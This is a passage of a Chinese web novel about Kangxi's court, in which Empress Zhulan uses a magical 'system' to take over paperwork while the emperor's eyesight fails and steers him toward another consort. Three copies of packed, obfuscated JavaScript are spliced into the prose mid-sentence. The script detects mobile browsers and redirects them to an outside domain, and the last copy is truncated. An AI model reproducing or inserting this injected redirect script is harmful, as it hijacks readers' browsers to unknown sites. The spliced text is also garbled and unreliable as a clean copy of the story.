康熙笑了笑,松开她的手,声音里带着几分无奈:“不过是点小毛病,不想让她老人家担心。再说,朕是天子,这种时候总不能让朝臣们知道朕看不清了。” 苏麻喇姑没再说话,只是上前一步,轻轻扶住他的胳膊:“皇上,奴才扶您走。” 康熙点点头,任由她扶着起身。 偏殿的门被推开,外面的阳光有些刺眼,他下意识眯起眼睛。 苏麻喇姑见状,连忙用身子替他挡了挡光线,轻声道:“皇上慢些走,不着急。” 慈宁宫的门刚被推开,太皇太后就从榻上猛地站起身。 往日里总是端着“深宫老祖宗”沉稳气度的她,此刻连手里的佛珠都忘了捻,快步朝着门口扑过去——她一眼就看见康熙半眯着眼,被苏麻喇姑小心翼翼扶着,眼尾的红在暖光下格外刺眼。 “玄烨!”太皇太后的声音都带着颤,伸手就抚上康熙的眼睛,指尖触到他发烫的眼周,眼泪差点掉下来,“你这眼睛是怎么了?前几日还好好的,怎么就成了这副模样?” 康熙攥住祖母微凉的手,掌心传来的温度,和幼时她抚摸自己脸颊时一模一样。 殿内只有他们祖孙,没有朝臣的窥探,没有帝王的威仪,他紧绷了多日的神经松了些,声音放得极柔:“祖母别急,就是前些日子熬夜多了,眼睛有些看不清,没什么大事。” “没什么大事?”太皇太后拉着他往榻上坐,指尖轻轻按了按他的眉骨,见他下意识皱了皱眉,心疼得不行,“都看不清了还叫没大事?珠兰跟哀家说,你不让她往外说,你是不是想把自己熬垮才甘心?” 康熙靠在榻上,望着祖母鬓边的白发,忽然觉得眼眶发热:“孙儿坐明堂,总不能让朝臣们知道……软肋。不过祖母放心,珠兰最近在帮孙儿梳理朝政,各部堂的奏折她让女官们按类整理好,念给孙儿听,孙儿盲写朱批,夫妻二人一起,也能把朝事处理得井井有条。” 太皇太后没接话,只是转头对着殿外厉声道:“梁九功!滚进来!” 殿外的梁九功听见传唤,吓得腿软,连滚带爬地冲进来,“噗通”一声跪在地上,头都不敢抬:“奴才在!” “哀家不问皇上,只问你。”太皇太后的声音冷得像冰,“御医怎么说的?皇上的眼睛到底是怎么回事?用的什么药?多久能好?一句都不许瞒,原原本本说!” 梁九功抖着嗓子,把李院判的话一字不落地复述出来,“回太皇太后,御医说皇上是长期用眼过度、熬夜伤神,肝火上炎扰了目力,已经到了积劳成疾的地步……开的都是温和的汤药和敷药,说要慢慢来,不能用猛药, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16328479|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得调理个十来天,才能慢慢看清东西,要是想彻底好,还得养上一两个月……” “十来天?”太皇太后捏着康熙的手,力道不自觉重了些,“玄烨,你可别忘了唐高宗的故事!” 康熙心里一震,唐高宗李治就是因眼疾日渐严重,后来才让武则天得以参与朝政,一步步揽了大权。 祖母这话,是在提醒他,哪怕眼疾难受,也不能把朝政大权全交出去,更不能让旁人借着他眼疾的由头钻了空子。 “祖母放心,孙儿明白。”康熙反手握住太皇太后的手,语气坚定,“珠兰帮孙儿整理奏折,却从不多说一句评判的话,所有决断都是孙儿来做;六部之首、宗室大臣的动向,孙儿也日日让人汇报,大权绝不会旁落。” 太皇太后听他说的清明,心里稍稍松了些。 她叹了口气,伸手理了理康熙的衣领,语气又软下来:“哀家不是不信珠兰,也不是要拦着你们夫妻同心。只是你是大清的天子,这江山是爱新觉罗的江山,哪怕是眼疾这样的小事,也容不得半点马虎。” “孙儿听祖母的。”康熙点点头,心中却有些不以为然,他不是唐高宗,珠兰也不是武则天。 太皇太后拍了拍他的手背,转头对苏麻喇姑道:“去把太医院的李院判叫来,哀家要亲自问问他,到底怎么用药才能让皇上好得快些,要是敢糊弄哀家,仔细他的脑袋!” 苏麻喇姑连忙应下,快步退了出去。 殿内又恢复了安静,太皇太后握着康熙的手,轻轻摩挲着,眼眶里的红意还没退去——她这辈子见惯了宫廷倾轧、帝王薄命,最疼的就是这个孙儿,如今见他遭这份罪,心里比针扎还难受。 康熙闭着眼,感受着祖母掌心的温度,这眼疾虽是祸事,却也让他难得卸下帝王的重担,再享一次祖孙间的温情。 只要祖母不插手前朝之事,就不会有解不开的结。 于太皇太后而言,慈宁宫内的沉默像浸了水的棉絮,沉得人心里发闷。 她握着康熙的手,指尖还残留着触碰他眼周温度时的心疼。可方才那句脱口而出的“唐高宗故事”,却像根细刺,悄悄扎在了自己心头。 她想起漠西草原上的那场惊魂——那时她见皇帝与珠兰情深意笃,却迟迟没有嫡子,便动了心思,想远离聒噪的宗室是真,给皇帝留出处理近臣的空间是真,逼着皇帝尽快诞下皇嗣也是真。 当流连草原不归,遇上了王辅臣的叛军,毡帐被围、生死一线时,她大脑是空白的。 逃亡路上,她在篝火旁告诉自己:不该挑拨帝后和睦,这必然是长生天动了怒,往后再不能有这种心思。 果然,很快便得救了。 可今日见康熙眼疾难愈,又听说珠兰帮着梳理朝政、代念奏折,旧日里对“后宫干政”的忌惮又冒了出来,脱口就提了唐高宗与武则天的旧事。 太皇太后暗自叹气——珠兰待她向来恭敬,草原上事事以她为先;对科尔沁的族人,也总想着多接济些粮草、多安排些差事,是个心善又懂分寸的孩子。 自己怎么就凭着“干政”两个字,把她和武则天扯到了一起? 这话要是传到珠兰耳朵里,怕是要寒了那孩子的心。 可话已出口,像泼出去的水收不回。 唐高宗的教训是刻在史书里的警示,哪怕只是提一句,也足够在皇帝心里埋下警惕的种子。 这根刺就算她后悔,也得让玄烨疼——爱新觉罗家的江山,绝不能重蹈李氏的覆辙。 她端起茶杯抿了口温水,压下心里的复杂,话锋一转,又绕回了最牵挂的事,“皇帝眼下眼疾未愈,朝政上有珠兰帮衬是好事,可子嗣的事,你也得放在心上。” 她放下茶杯,眼神变得郑重,“你的孩子,不能都出自珠兰腹中。她是皇后,嫡子若多,容易让外戚势力坐大,到时候真成了···,悔都来不及。爱新觉罗家,不同于前朝,决然经不住这样的风险。” 康熙握着祖母的手紧了紧,指尖传来的力道让太皇太后微微一怔。 他抬起头,眼中是茫然之色,虽看不清旁人的神情,自己的语气却格外笃定:“祖母放心,孙儿心里有数。子嗣很快就会有,而且绝不出自同母。” “绝不出自同母?”太皇太后愣住了,手里的佛珠差点滑落在榻上。 她原以为康熙是懂了她的意思——往后多召些嫔妃侍寝,让其他妃嫔也诞下子嗣,平衡后宫势力。 可“绝不出自同母”这六个字,怎么听都不对劲。 难不成……他是不想让珠兰生孩子了? 这个念头刚冒出来,太皇太后心里就是一紧。 她看着康熙俊秀的侧脸,这孩子比他父亲生的好。 想起他前几日还跟珠兰说“要再办一次洞房花烛”,还盼着梦里的嫡子能成真,怎么短短几日,就改了主意? 是因为眼疾时珠兰帮着理政,让他生了忌惮? 还是自己那句“唐高宗”的话,让他把对“外戚”的防备,迁到了珠兰身上? “玄烨,你这话是什么意思?”太皇太后的声音有些发颤,“你是说……不让珠兰生养?” 康熙沉默了片刻,才缓缓开口,声音里带着几分不易察觉的疲惫,“孙儿不是……,是……”他顿了顿,想起那些夜夜重复的噩梦——皇后躺在床上,浑身是血,而他抱着刚出生的孩子,却只能摸着她冰冷的手。 窒息感像潮水般涌上来,让他语气都松软了些,“孙儿只是觉得,孩子晚些有也无妨。眼下最重要的是珠兰无恙,孙儿的眼睛无恙,江山无恙。至于子嗣……总会有的,只是不必都从珠兰这里来。”康熙念叨着自己的梦,那样清晰连贯的预知梦,必然是天命示警。 太皇太后听出了一种没由来的恐惧,这孩子是怕了——怕珠兰像梦里那样,为嫡子丢了性命。 她心里的石头稍稍落地,却又生出新的担忧:帝王的心思最是难测,今日是怕失去皇后,才不愿她生养;可他日若珠兰真的一直没有子嗣,朝臣们的议论、宗室的压力,又会让他生出怎样的心思? 殿外的风轻轻吹过窗棂,带着几分凉意。 太皇太后握着康熙的手,这帝王家的情分与江山,从来都是拧在一起的乱麻,剪不断,理还乱。 她只能轻轻拍了拍孙儿的手背,低声道:“你心里有数就好,珠兰那边,你得好好跟她说说,别让她多心。” 康熙点点头,没再说话。 98. 不见天颜 紫禁城的南书房近来成了禁地,往日里,除了皇帝,明珠、索额图、米思翰这些亲信大臣,还有几位大学士,都能捧着奏折随意进出,有时甚至能在里头陪皇帝议到深夜。 可自从前些日子,南书房的门就只对一个人敞开——大学士葛布喇。 其余大臣连门槛都摸不着,只能待在各自的值房里,对着皇帝朱批的奏折琢磨心思。 想见皇帝? 只能等大朝会时,隔着太和殿上老远的距离,望着龙椅上的身影,连他脸上的神色都瞧不清。 “这到底是怎么回事?南书房连咱们都不让进了!”户部尚书米思翰在值房里踱来踱去,手里的奏折都快捏皱了,“皇上五六天都没单独召见过咱们,难不成是最近咱们差事办砸了叫皇上知道了?” 索额图和明珠对视一眼,这不可能。 “别瞎猜!”兵部尚书皱着眉,却也压不住语气里的慌,“前日见葛大人从南书房出来,我特意拦着问了句,结果他就说‘皇上好着呢,跟平常一样’。这话谁信啊?要是平常,皇上早召咱们议东南战事了!” 一群堂官围着叹气,最后目光都落在了索额图身上。 明珠咳嗽一声:“索大人,您跟葛大人是亲兄弟,他总不能连您都瞒着吧?您去问问,到底,南书房为啥只让他一个人进?” 索额图苦笑着摆手,“大人们是真不了解我大哥,他那人,耿直得像块石头,察言观色的事半点不会。早年间跟鳌拜对着干,能把鳌拜气得当朝拍桌子;现在跟着皇上,也就皇上能容他那直脾气。我去问,怕不是要挨顿呲。” 可架不住众人软磨硬泡,连米思翰都跟着劝:“索大人,不是咱们多心,实在是皇上不召见,南书房又封得严实,底下人都快传疯了,说什么的都有。您去问问,也算安大家的心。” 索额图没法子,只能硬着头皮往南书房去。 刚到门口,就见葛布喇捧着一摞奏折出来,脸上没半点表情。 “大哥,”索额图连忙上前,压低声音,“皇上……?南书房怎么……?” 葛布喇斜了他一眼,语气瞬间沉下来:“你不好好琢磨南边的战事,跑到这儿来晃悠什么?杰书、岳乐还在福建克扣军饷,绿营跟八旗的矛盾还没平,你不多想想怎么解决,倒关心起南书房的规矩来了?” “我这不是……”索额图想解释,却被葛布喇打断。您说的那些事儿,跟我海事衙门可没关系啊。 “皇上让我进南书房,是因为我管着工部和河工,奏折里的工程数据、钱粮数目,得跟皇上一一核对。你要是把南边的事办利索了,皇上自然会召你。”葛布喇把奏折往他手里一塞,“赶紧回去办差,别在这儿添乱!” 索额图碰了一鼻子灰,捧着奏折灰溜溜地退了出来。回去跟众人一说,大家都蔫了——连亲兄弟都问不出个所以然,这南书房的门,怕是真难进了。 朝堂上看着风平浪静,奏折照批,政令照发,可底下的惶惑却像潮水般往上涌。 大臣们私下里议论纷纷,有人说皇帝是不是有痒,可后宫还没喜讯;有人说葛布喇要借这个机会揽权,毕竟只有他私下能见皇上;还有人说天子总在养心殿安歇,皇后八成要开始插手朝政……各种猜测满天飞,却没一个人敢拿到明面上说。 毕竟,皇帝虽不露面,可朱批依旧力道十足,该斥责的斥责,该嘉奖的嘉奖,半点没露出行差踏错的迹象。 越是这样,大臣们心里越没底——往日里皇帝总爱跟他们议一议,哪怕是斥责,也能让人摸准心思;如今只剩冷冰冰的朱批,连句口头指示都没有,谁知道哪句话就触了龙鳞? 南书房的门依旧紧闭,葛布喇进出的身影成了宫里唯一的“定心丸”,却也成了更多猜测的源头。 大臣们攥着手里的奏折,望着养心殿的方向,心里只有一个念头:皇上到底什么时候才露面。 索额图从值房出来时,夕阳已经斜斜挂在宫墙上,把琉璃瓦染得金灿灿的。 同僚们还在为“南书房禁入”的事唉声叹气,他却没跟着凑热闹——心里早把前因后果猜得七七八八。 大哥葛布喇是什么性子,他比谁都清楚。那人眼里只有“办差”和“忠君”,连皇帝今天多皱了下眉都看不出来,更别提察觉异常背后的隐情。 皇上偏只让大哥进南书房,说白了,就是看准了他耿直,又不会瞎琢磨,才放一百个心。 “索大人,不再等等?说不定今晚皇上就召咱们了。”米思翰在身后喊他。 索额图摆了摆手,脚步没停:“不等了,家里还有点事。”话是这么说,脚下却拐了个弯,朝着养心殿的方向走去。 他没敢直接往殿门口凑,只沿着宫道慢慢走,一路绕到了内务府的偏院。 刚到门口,就见春苒正领着两个小宫女清点箱笼,手里还拿着本账簿。 索额图连忙上前,隔着两步远就拱了拱手。 春苒抬头见是他,连忙放下账簿行礼:“见过索大人。” “快免礼,快免礼。”索额图赶紧虚抬手,语气热络得有些不自然,“春苒娘子,别客气,都是自己人。” “娘子”这个称呼,是近来宫里私下对女官的叫法——朝廷还没给女官定出明确的称谓规矩,大家便这么含糊着叫。 春苒也没在意,笑着问:“索大人怎么到这儿来了?是有差事要吩咐内务府?” “不是不是。”索额图往四周看了看,见没人注意,才压低声音问,“就是想问一句,娘娘此刻在何处?近来总没见着娘娘的身影,想着是不是身子不适。” 春苒心里门儿清,索额图这是来探口风的。 她也不绕弯子,笑着回道:“娘娘在养心殿呢,这些日子可忙了,连内务府的事儿都顾不上管——您瞅瞅这院子里,账本堆了好几天,还是我们几个抽空整理的。” “忙?”索额图眼睛一亮,追问,“忙什么要紧事,竟连内务府都顾不上了?” 春苒捂嘴笑了笑,话没说透,却点得明白:“能比内务府还大的事,您说是什么?娘娘跟着皇上,自然是忙皇上的事。” 索额图心里“咯噔”一下,瞬间就明白了。 能让皇后放下内务府、还得在养心殿忙活的,除了朝政,还能有什么? 皇上定是身子出了大问题,连奏折都得靠娘娘帮忙处理了! 这个念头一冒出来,他非但没慌,反而心里一阵窃喜——对他来说,这可是天大的利好! 他跟着皇上办事,总觉得束手束脚。 皇上事事要抓在手里,哪怕是海事衙门的通商章程,明明他已经跟东洋商人谈妥了,皇上还得反复问三遍“会不会损了大清体面”;可当初跟着娘娘打理内务府时,完全是另一番光景——娘娘只要定了大方向,具体怎么干全让他放手去做,还总说“你比我懂这些,尽管折腾”。 这些年管着海事衙门,他也不是居家不出之人。见过东洋的藩镇、西洋的火炮,去过南洋的种植园,眼界早比困在紫禁城里的皇上开阔多了。 有时跟皇上奏报海外见闻,皇上还总皱着眉说“蛮夷之物,不必过于上心”,这让他心里难免觉得憋屈——天子的眼界,竟还不如他一个臣子。 如今娘娘能插手朝政,对他来说,可比跟着皇上痛快多了。 娘娘心思远、眼界广,还肯放权,往后在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16336070|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝堂上办事,定能少些掣肘。 索额图压着心里的激动,又跟春苒闲聊了几句,无非是叮嘱“让娘娘多保重身子”,才慢慢退了出来。 走在宫道上,夕阳的光落在他脸上,他嘴角的笑意藏都藏不住。 朝堂上那些同僚还在为“见不到皇上”惶惶不安,可他已经看清了——这宫里的风向,怕是要变了。 而这变化,对他索额图来说,是福不是祸。 春苒抱着一摞奏折刚踏进坤宁宫暖阁,就听见里头传来夏笙清脆的声音,“……太皇太后跟皇上密谈,特意提了‘唐高宗故事’,话里话外都怕娘娘您……” 她话没说完,暖阁里原本翻账簿、理文书的女官们都停了手。 尼雅手里的笔顿在纸上,墨点晕开一小团;图雅皱着眉放下茶盏,眼底明晃晃的都是忧色——她们跟着珠兰最久,知道“唐高宗与武则天”的典故意味着什么,那是后宫干政的忌讳,是帝王最忌惮的隐患。 反倒是吉雅和禄雅,悄悄对视一眼,眼底藏着几分不易察觉的雀跃。若是娘娘真能像武则天那样,在朝堂上有一席之地,她们这些做下属的,也能跟着多干些实事。 “娘娘……”尼雅最先开口,语气带着几分急切,“太皇太后……,您不过是帮皇上整理奏折,哪扯得上‘唐高宗故事’?” 珠兰正靠在软榻上翻着刚送来的奏折,闻言抬头笑了笑,指尖轻轻划过“海事衙门通商章程”几个字:“老祖母也是为了大清江山,怕我越了界罢了。” 她放下奏折,看向满脸忧色的尼雅和图雅,又扫过眼神发亮的吉雅与禄雅,语气平静:“你们别瞎琢磨,我从没想过做武则天。” “娘娘?”禄雅下意识追问,话一出口又觉得不妥,连忙低下头,“我失言了。” 珠兰却没在意,反而坐直身子,慢悠悠道:“武则天要的是皇位,是独掌大权;我要的是什么,你们还不清楚?” 她指了指案上堆着的奏折,“是让河道的水患早点平,是让海上的商路再宽些,是让南边的百姓别再受战乱苦——这些,跟‘干政夺权’没关系。” 她顿了顿,想起昨夜康熙握着她的手说“往后朝政上离不得你”,眼底添了几分笑意,“皇上信我,才让我帮着整理奏折;我帮他,也只是想让他少些劳累,让朝政能顺顺利利的。至于‘干政’,若是能让事情办得更妥当,就算旁人多嘴几句,也没什么要紧。” “可太皇太后那边……”图雅还是放心不下,“万一她误会您,再给您添些掣肘……” “老祖母心里有数。”珠兰笑了笑,拿起一本奏折递给春苒,“你看,这是太皇太后让苏麻喇姑送来的,说科尔沁那边有批粮草要运去漠西,让我跟皇上商量着定章程。她要是真忌惮我,哪会把这事交给我?” 春苒接过奏折一看,果然见上面有苏麻喇姑的小字批注:“皇后懂民生,定能把粮草的事安排妥帖。” 暖阁里的气氛,瞬间松了下来。 尼雅和图雅这才放下心,吉雅与禄雅也明白了——娘娘的目的是把事办妥当。她们跟着这样的主子,不用琢磨宫廷倾轧,不用怕越界犯错,只要踏踏实实把手里的事做好就行。 珠兰看着女官们重新忙碌起来的身影,又拿起那本海事衙门的奏折。 她心里清楚,太皇太后的话是提醒,也是警示;朝臣的议论是猜忌,也是试探。 可她不在乎这些——她要做的,是让这个时代,能比原来更好一点。至于谁掌权,谁得利,都只是过程而已。 “武则天”的标签,只要不是康熙给她贴的,倒是随旁人说去便是。 珠兰,有自己要走的路。 99. 玉宁有孕 康熙十年的春风轻柔地吹过紫禁城,养心殿的窗棂终于敢敞开大半。 坐在案前,皇帝的指尖捏着奏折的边角,微微俯身凑近,才能看清上面的字迹——眼睛虽能视物了,却落得个古怪毛病:凑得极近才辨得清近处的字,远处的宫墙楼阁反倒比中距离的物件看得更分明,像被施了层颠倒的滤镜,怎么都不得劲。 太皇太后这些日子没少为这事动气,前几日见御医递上的脉案还写着“需温和调理”,当场就把药碗摔在地上,指着李院判的鼻子骂:“哀家孙儿的眼睛到底怎么回事,你们还在这儿慢悠悠熬汤药!要是治不好,太医院的人都别干了!” 可骂归骂,转头珠兰就得让人给太医院送补贴——人参、当归、甚至西洋来的玻璃镜,都是让御医们“安心配药”的心意。 太医们拿着这些东西,脸上都有些发烫,尤其是周谨,私下里拉着李院判嘀咕:“师父,咱们是不是真用错药了?要是当初用了‘清肝明目汤’,皇上的眼睛会不会早好了?现在这后遗症,会不会是咱们耽误了最佳时机?” 李院判捻着胡须叹气,心里何尝没有这种猜测。 可皇室用药的规矩像道枷锁,他敢用猛药吗。 万一伤了皇上的脾胃,或是留下别的病根,别说乌纱帽,连脑袋都保不住。 他只能拍着周谨的肩膀嘱咐:“再调整药方,多用些滋补肝肾的药材,慢慢养吧。” 他们永远不会知道,珠兰手中的系统早已悄悄动了手脚,让这眼疾留下了不可逆的痕迹——不是治不好,而是没法恢复到能让康熙再事无巨细、独掌朝政的程度。 康熙自己倒渐渐适应了,读书时让梁九功把书案垫高,批奏折时凑得近些,除了偶尔头晕,倒也不怎么影响日常起居。 可做皇帝的“掌控感”,却实实在在弱了——从前他能一眼扫过奏折,从字里行间揪出官员的猫腻;如今得逐字逐句凑近看,连看几本就眼酸,想再像从前那样“一把抓”,根本不可能。 珠兰的“秘书小团队”已然归了皇帝用,也顺理成章扩编了。 吉雅、禄雅她们不仅要按部门梳理奏折,还要把关键信息提炼成摘要,用大号字体写在纸上,方便康熙查看。 梁九功这些太监,康熙依旧信不过,连奏折都不让他们碰。 只有经过珠兰层层筛选的女官,才能近得御案前,这团队成了朝政运转里离不得的“齿轮”。 内务府的女子原都不识字,但珠兰掌握内务府后,便让包衣女随着男子一道上学去。现在进宫做事的包衣,都是能看诗书的。 从整理奏折到参与议事,她早已摸清了朝堂的脉络,那些看得见的低效环节,经她手梳理后变得条理分明。 比如,朝中大臣被迫改了卖弄文采的坏习惯,不得不跟写八股文似的,按照新文书范本写奏折,开篇必须明义,结尾要求点题,三段式布局,事例要有数据,数据要清晰,这一下子可不好东扯西扯模模糊糊的水字数了。 大臣多有新招幕僚回来的,毕竟这新文书和原本的要求南辕北辙,原来的幕僚难以胜任新时代的要求啊。 南边的绍兴师爷就不错,钱粮、刑名、文书都精通,能写出上边满意的奏文。 翻云会的手,也借着这些完美符合大臣要求的师爷伸进了中枢。 康熙也渐渐习惯了这种高效——不用再被杂七杂八的奏折绕得头晕,不用熬夜到天明批文书,只需要听着女官念摘要,再做决断就行。 君臣夫妻之间的这种默契,悄无声息地固定了下来。 四月初,康熙终于在南书房召见了大学士和各部堂官。 他穿着明黄常服,端坐在案后,目光扫过众人。 明珠、米思翰等亲近人偷偷瞧着皇上,只觉得他威严如故,锐利半点没减,谁都没察觉异样——唯有索额图,在皇上目光掠过自己时,注意到他眸光的转变,太飘了。 天子交代了南边水军要用命,索额图连忙躬身应下。 南书房的议事还在继续,阳光透过窗棂洒在御案上,照着康熙凑近看奏折的细微动作,也照着堂下官员们或恭敬或思索的脸。 到了五月,养心殿檐下的紫藤花谢了满地。 梁九功和顾问行带着人,把乾清宫、南书房的近侍换了三轮,最后留下的全是皇上信得过的自己人——这些人贴身伺候吃喝拉撒,知晓皇帝眼疾的底细,只有把这几处经营得像养心殿般稳妥,康熙才敢往后住。 可即便如此,他还是在养心殿多待了一个月,日日与珠兰耳鬓厮磨,感情浓得像化不开的蜜。 只是珠兰瞧着他,总觉得他眼底的愧疚一日比一日重。 他会在批奏折时突然抬头,盯着她的侧脸发呆;会在夜里攥着她的手,轻声说“委屈你了”;甚至连说梦话,都带着哽咽的调子:“珠兰,是朕对不住你……” 珠兰心里清楚,他又在“自我折磨”——既依赖她帮着处理朝政,又愧疚让她担了“干政”的名声;既贪恋两人的温存,又要耽误她生养。 这般矛盾的心思,让他越发沉浸在对她的“亏欠式爱意”里。 “娘娘,荣贵人、惠贵人和二姑娘来了。”夏笙轻声禀报时,康熙刚午休醒来,视力比平日里清明些。 珠兰放下手中的奏折,笑着对康熙说:“正好,让她们进来给皇上解解闷。” 不多时,诺敏、塔娜就跟着玉宁一起进了殿。 诺敏抱着琵琶,塔娜手里拎着画轴,都是珠兰特意吩咐她们带来的。 玉宁则穿着一身水绿色的旗装,发间簪着支珍珠钗,站在殿中微微屈膝行礼时,耳尖都透着红。 “皇上,臣妾新学了支曲子,唱给您听?”诺敏见珠兰点头,便先开口,手指拨动琵琶弦,清越的琴声漫了开来。 她弹着琵琶,面上却没有谄媚,只看向珠兰是会带上笑意。偶尔两人对视,她便会转过头,红着脸看一眼皇帝。 塔娜本来在吃点心,被玉宁推了一把,这才想起来自己该干啥。她连忙展开画轴,是幅“春江垂钓图”,像完成工作一般递到康熙面前,“皇上您看,这是我昨日画的,您觉得好不好?” 康熙凑近些看了看,笑着点头:“画得不错,比上次有进步。” 塔娜一听,这活儿是干完了,就自取点心去了。 玉宁盯着这俩人,见都漫不经心的,心里不停运气。 康熙的目光扫过站在一旁的玉宁,见她垂着眼帘,手指轻轻绞着裙摆,模样有些局促,心中一动。 他们都是一起长起来的,有幼年的情谊在,即便这几年皇上不怎么见她们,再增加相处时间后,便很容易熟悉了。 往后几日,珠兰日日让她们来养心殿。 萨琳和甄应仙也来过两次,见殿里尽是唱歌跳舞的热闹,没半点讨论诗书学问的氛围,便不肯再来了。 萨琳私下跟珠兰说:“我额娘让妹妹萨琪玛等着选秀,我这贵妃位分也够了,承不承宠都一样。” 甄应仙笑着摇头:“皇上的容颜如天上人,可牛爵士才是真天人,我真愿意远去西洋,见一见他。” 珠兰都被她的大胆惊了一瞬,萨琳却显然习惯了,拉着人转身就走了。 珠兰倒也不勉强,只专心推着玉宁上前。 玉宁眼泪汪汪的就要跪下给皇后磕头,本就爱慕康熙多年,从少女时的偷偷仰望,到如今能近在咫尺,早已是爱得深切。 珠兰一把扶起她,直说日后她是要做牺牲的。 玉宁点头,心甘情愿。 在皇帝不知道的时候,珠兰把他卖了个不错的价钱。 玉宁会在康熙批奏折时,悄悄在旁边磨墨;会在他眼酸时,递上温好的菊花茶;甚至会故意在殿外唱他喜欢的曲子,声音清亮,带着几分刻意的引诱。 “皇上,处理了大半日朝政,也该歇歇了。”一日午后,珠兰见康熙揉着眉心,便笑着推了推他的胳膊,“外面玉宁在唱新学的词,您出去听听?这里的奏折,让春苒她们先整理。” 康熙犹豫了片刻,终究抵不过外面婉转的歌声,起身走了出去。他也是人,也需要娱乐。人之常情,不外如是。 珠兰坐在案后,听着殿外传来的笑声,眼底掠过一丝了然——她要的就是这个效果。 果然,半个时辰后,康熙回来时,脸上带着几分不自然的红,看向珠兰的眼神里,愧疚又深了几分,仿佛方才与玉宁说笑的举动,是对她的背叛。 他走到珠兰身边,伸手握住她的手,声音低沉:“珠兰,朕……” “皇上开心就好。”珠兰打断他,笑着拍了拍他的手背,“您是天子,本就有三宫六院。臣妾只想常伴君侧,心中便知足,盼着您能多些欢愉,少些烦忧。” 康熙看着她坦荡的模样,心里的愧疚更甚,握着她的手也更紧了。 此时的皇帝不曾觉得珠兰不爱他,只觉得她是太爱他了。 她要让他习惯“身边有其他人”,要让他从对她的“过度依赖”里抽离,更要为他选一个合适的人,生下子嗣,堵住朝堂和宗室的嘴。 而玉宁,就是她选中的那个人。 这个爱得深切、又懂得分寸的女子,既能让康熙感受到温存,又不会像她这般,令太皇太后和朝臣忌惮“干政”。 养心殿的夕阳透过窗棂,落在两人交握的手上。 康熙沉浸在对珠兰的愧疚与爱意里,他早已一步步走进了珠兰为他铺好的局里。 五月的某一天,乾清宫的宫灯重新亮到深夜时,满宫的人都悄悄变了神色——皇上终于搬出养心殿,皇后的“独宠”时代,算是正式落幕了。 可这口气还没松匀,又跟着提了起来:传旨太监从乾清宫出来,召惠贵人玉宁。 消息传到养心殿时,珠兰正对着海事衙门的出兵章程思索,闻言只是淡淡“哦”了一声,指尖连停顿都没停顿——对她而言,这不过是计划中的一步,没什么好意外的。 可她刚把章程翻过一页,系统突然跳出来,界面上的文字带着点“恨铁不成钢”的意味:警告!检测到皇帝情感波动异常,为确保其脑内愧疚小剧场持续上演,宿主需立即切换“弃妇”人设! 珠兰握着笔的手顿住,差点把墨汁滴在奏折上,在心中说道:“系统?你这都学的什么乱七八糟的?还懂‘人设’了?” 系统的文字透着点得意:梁九功运了好几箱话本来养心殿,什么《西厢记》《牡丹亭》,还有些民间写的“帝王弃妃”本子,我都同步吸收了。现在我可是‘恋爱脑帝王心理专家’! 珠兰哭笑不得,“皇上在养心殿也没忘了偷看话本?这爱好倒跟小时候没两样。” 她想起当年佟国维总给少年康熙送话本,忍不住打趣,“那我是不是还得谢谢佟国维?要不是他,皇帝也成不了恋爱脑。” 理论上,是的。 系统一本正经地回复:不过现在重点不是谢谁,是皇上!他在养心殿时顾忌着你,不敢召妃嫔侍寝,回了乾清宫可就没这顾虑了。你瞅着玉宁,今夜进了乾清宫不出来,明早再送回去,一准是成事了。皇上现在心里,指定觉得是给你‘戴绿帽子’,满肚子愧疚呢! “呸,什么绿帽子。”珠兰笑着反驳,“这是封建后宫,皇后哪有这说法?” 别纠结用词! 系统急了:关键是皇上的心态!他看话本看魔怔了,满脑子都是‘负心汉对不起正妻’的戏码,你得顺着他的戏走,把他的愧疚往深了勾! 珠兰挑了挑眉:“行,你是‘专家’,说吧,我该怎么做?” 简单! 系统的文字飞快滚动:明早玉宁从乾清宫出来时,你别待在养心殿里处理政务,就去宫门口的紫藤花架下坐着。不用哭,也不用闹,就拿本书坐着,偶尔抬头往乾清宫的方向望一眼,眼神里带点落寞——记住,要那种‘我没事,但我其实很在意’的感觉! 珠兰对着空气翻了个白眼:“这也太刻意了吧?皇上能看出来?” 放心!皇上现在满脑子都是话本剧情,一准能脑补出‘皇后独自伤怀’的大戏! 系统打包票:他要是派人来问你,你就说‘没事,就是觉得这紫藤花开得好,想坐坐’,别提玉宁,也别提乾清宫,越不提,他心里越虚! 珠兰放下笔,走到窗边望着乾清宫的方向,夕阳正落在那片明黄的琉璃瓦上,晃得人眼晕。 昨夜康熙来养心殿,还攥着她的手说“往后会常来看你”,眼底那点愧疚藏都藏不住——现在看来,那哪是愧疚,分明是话本看多了的“负罪感”。 “行吧,听你的。”珠兰无奈点头,“希望这出戏演完,皇上的愧疚能多攒点,别总在朝政上跟我拧着来。” 只要戏演得好,皇上的愧疚值涨起来,往后你说东,他绝对不往西! 系统的文字透着雀跃:对了,明早你穿那件粉白色的素裙,别戴金首饰,越素净越好,‘弃妇’那味儿就更足了! 珠兰扶着额头笑出声,她怎么也没想到,自己在朝堂上费尽心机梳理脉络,到了后宫,还得靠系统和话本知识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 